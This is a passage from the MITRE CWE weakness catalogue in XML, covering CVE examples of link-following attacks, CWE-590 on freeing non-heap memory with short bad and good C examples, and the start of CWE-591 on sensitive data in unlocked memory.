                  <xhtml:p>Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-1386</Reference>
               <Description>Some versions of Perl follow symbolic links when running with the -e option, which allows local users to overwrite arbitrary files via a symlink attack.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1386</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1178</Reference>
               <Description>Text editor follows symbolic links when creating a rescue copy during an abnormal exit, which allows local users to overwrite the files of other users.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1178</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0217</Reference>
               <Description>Antivirus update allows local users to create or append to arbitrary files via a symlink attack on a logfile.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0217</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0517</Reference>
               <Description>Symlink attack allows local users to overwrite files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0517</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0689</Reference>
               <Description>Window manager does not properly handle when certain symbolic links point to "stale" locations, which could allow local users to create or truncate arbitrary files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0689</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1879</Reference>
               <Description>Second-order symlink vulnerabilities</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1879</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1880</Reference>
               <Description>Second-order symlink vulnerabilities</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1880</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1916</Reference>
               <Description>Symlink in Python program</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1916</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0972</Reference>
               <Description>Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0972</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0824</Reference>
               <Description>Signal causes a dump that follows symlinks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0824</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1494</Reference>
               <Description>Hard link attack, file overwrite; interesting because program checks against soft links</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1494</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0793</Reference>
               <Description>Hard link and possibly symbolic link following vulnerabilities in embedded operating system allow local users to overwrite arbitrary files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0793</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0578</Reference>
               <Description>Server creates hard links and unlinks files as root, which allows local users to gain privileges by deleting and overwriting arbitrary files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0578</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0783</Reference>
               <Description>Operating system allows local users to conduct a denial of service by creating a hard link from a device special file to a file on an NFS file system.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0783</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1603</Reference>
               <Description>Web hosting manager follows hard links, which allows local users to read or modify arbitrary files.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1603</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1901</Reference>
               <Description>Package listing system allows local users to overwrite arbitrary files via a hard link attack on the lockfiles.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1901</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1111</Reference>
               <Description>Hard link race condition</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1111</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0342</Reference>
               <Description>Mail client allows remote attackers to bypass the user warning for executable attachments such as .exe, .com, and .bat by using a .lnk file that refers to the attachment, aka "Stealth Attachment."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0342</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1042</Reference>
               <Description>FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1042</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1043</Reference>
               <Description>FTP server allows remote attackers to read arbitrary files and directories by uploading a .lnk (link) file that points to the target file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1043</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0587</Reference>
               <Description>Browser allows remote malicious web sites to overwrite arbitrary files by tricking the user into downloading a .LNK (link) file twice, which overwrites the file that was referenced in the first .LNK file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0587</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1386</Reference>
               <Description>".LNK." - .LNK with trailing dot</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1386</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1233</Reference>
               <Description>Rootkits can bypass file access restrictions to Windows kernel directories using NtCreateSymbolicLinkObject function to create symbolic link</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1233</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0725</Reference>
               <Description>File system allows local attackers to hide file usage activities via a hard link to the target file, which causes the link to be recorded in the audit trail instead of the target file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0725</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0844</Reference>
               <Description>Web server plugin allows local users to overwrite arbitrary files via a symlink attack on predictable temporary filenames.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0844</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2015-3629</Reference>
               <Description>A Libcontainer used in Docker Engine allows local users to escape containerization and write to an arbitrary file on the host system via a symlink attack in an image when respawning a container.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2015-3629</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-21272</Reference>
               <Description>"Zip Slip" vulnerability in Go-based Open Container Initiative (OCI) registries product allows writing arbitrary files outside intended directory via symbolic links or hard links in a gzipped tarball.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-21272</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-27833</Reference>
               <Description>"Zip Slip" vulnerability in container management product allows writing arbitrary files outside intended directory via a container image (.tar format) with filenames that are symbolic links that point to other files within the same tar file; however, the files being pointed to can also be symbolic links to destinations outside the intended directory, bypassing the initial check.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-27833</Link>
            </Observed_Example>
         </Observed_Examples>
         <Functional_Areas>
            <Functional_Area>File Processing</Functional_Area>
         </Functional_Areas>
         <Affected_Resources>
            <Affected_Resource>File or Directory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Link Following</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>FIO02-C</Entry_ID>
               <Entry_Name>Canonicalize path names originating from untrusted sources</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>POS01-C</Entry_ID>
               <Entry_Name>Check for the existence of links when dealing with files</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>FIO01-PL</Entry_ID>
               <Entry_Name>Do not operate on files that can be modified by untrusted users</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP18</Entry_ID>
               <Entry_Name>Link in resource name resolution</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="132"/>
            <Related_Attack_Pattern CAPEC_ID="17"/>
            <Related_Attack_Pattern CAPEC_ID="35"/>
            <Related_Attack_Pattern CAPEC_ID="76"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 9, &#34;Symbolic Link Attacks&#34;, Page 518"/>
            <Reference External_Reference_ID="REF-1282"/>
         </References>
         <Notes>
            <Note Type="Theoretical">
               <xhtml:p>Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations.</xhtml:p>
               <xhtml:p>Some potential factors are race conditions, permissions, and predictability.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Background_Details, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Applicable_Platforms, Causal_Nature, Common_Consequences, Functional_Areas, Likelihood_of_Exploit, Modes_of_Introduction, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Background_Details, Observed_Examples, References, Relationship_Notes, Theoretical_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Link Following</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Failure to Resolve Links Before File Access (aka 'Link Following')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="590" Name="Free of Memory not on the Heap" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product calls free() on a pointer to memory that was not allocated using associated heap allocation functions such as malloc(), calloc(), or realloc().</Description>
         <Extended_Description>When free() is called on an invalid pointer, the program's memory management data structures may become corrupted. This corruption can cause the program to crash or, in some circumstances, an attacker may be able to cause free() to operate on controllable memory locations to modify critical program variables or execute code.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="762" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="123" View_ID="1000"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Modify Memory</Impact>
               <Note>There is the potential for arbitrary code execution with privileges of the vulnerable program via a "write, what where" primitive. If pointers to memory which hold user information are freed, a malicious user will be able to write 4 bytes anywhere in memory.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Only free pointers that you have called malloc on previously. This is the recommended solution. Keep track of which pointers point at the beginning of valid chunks and free them only once.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Before freeing a pointer, the programmer should make sure that the pointer was previously allocated on the heap and that the memory belongs to the programmer. Freeing an unallocated pointer will cause undefined behavior in the program.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-4.6">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.</xhtml:p>
                  <xhtml:p>For example, glibc in Linux provides protection against free of invalid pointers.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Use a language that provides abstractions for memory allocation and deallocation.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Use a tool that dynamically detects memory management problems, such as valgrind.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In this example, an array of record_t structs, bar, is allocated automatically on the stack as a local variable and the programmer attempts to call free() on the array. The consequences will vary based on the implementation of free(), but it will not succeed in deallocating the memory.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void foo(){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>record_t bar[MAX_SIZE];<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* do something interesting with bar */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>...<xhtml:br/>free(bar);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This example shows the array allocated globally, as part of the data segment of memory and the programmer attempts to call free() on the array.</Body_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>record_t bar[MAX_SIZE]; //Global var<xhtml:br/>void foo(){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>/* do something interesting with bar */</xhtml:i>
                           <xhtml:br/>...<xhtml:br/>free(bar);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Instead, if the programmer wanted to dynamically manage the memory, malloc() or calloc() should have been used.</Body_Text>
               <Example_Code Nature="Good">
                  <xhtml:div>void foo(){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>record_t *bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* do something interesting with bar */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>...<xhtml:br/>free(bar);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Additionally, you can pass global variables to free() when they are pointers to dynamically allocated memory.</Body_Text>
               <Example_Code Nature="Good">
                  <xhtml:div>record_t *bar; //Global var<xhtml:br/>void foo(){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* do something interesting with bar */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>...<xhtml:br/>free(bar);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>MEM34-C</Entry_ID>
               <Entry_Name>Only free memory allocated dynamically</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>WIN30-C</Entry_ID>
               <Entry_Name>Properly pair allocation and deallocation functions</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP12</Entry_ID>
               <Entry_Name>Faulty Memory Release</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-480"/>
         </References>
         <Notes>
            <Note Type="Other">In C++, if the new operator was used to allocate the memory, it may be allocated with the malloc(), calloc() or realloc() family of functions in the implementation. Someone aware of this behavior might choose to map this problem to CWE-590 or to its parent, CWE-762, depending on their perspective.</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-12-15</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Maintenance_Notes, Name, Other_Notes, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, Other_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Improperly Freeing Heap Memory</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Free of Invalid Pointer Not on the Heap</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-10-29">Free of Memory not on the Heap</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="591" Name="Sensitive Data Storage in Improperly Locked Memory" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors.</Description>
         <Extended_Description>On Windows systems the VirtualLock function can lock a page of memory to ensure that it will remain present in memory and not be swapped to disk. However, on older versions of Windows, such as 95, 98, or Me, the VirtualLock() function is only a stub and provides no protection. On POSIX systems the mlock() call ensures that a page will stay resident in memory but does not guarantee that the page will not appear in the swap. Therefore, it is unsuitable for use as a protection mechanism for sensitive data. Some platforms, in particular Linux, do make the guarantee that the page will not be swapped, but this is non-standard and is not portable. Calls to mlock() also require supervisor privilege. Return values for both of these calls must be checked to ensure that the lock operation was actually successful.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="413" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>Read Memory</Impact>
               <Note>Sensitive data that is written to a swap file may be exposed.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Identify data that needs to be protected from swapping and choose platform-appropriate protection mechanisms.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Check return values to ensure locking operations are successful.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A8</Entry_ID>
               <Entry_Name>Insecure Storage</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
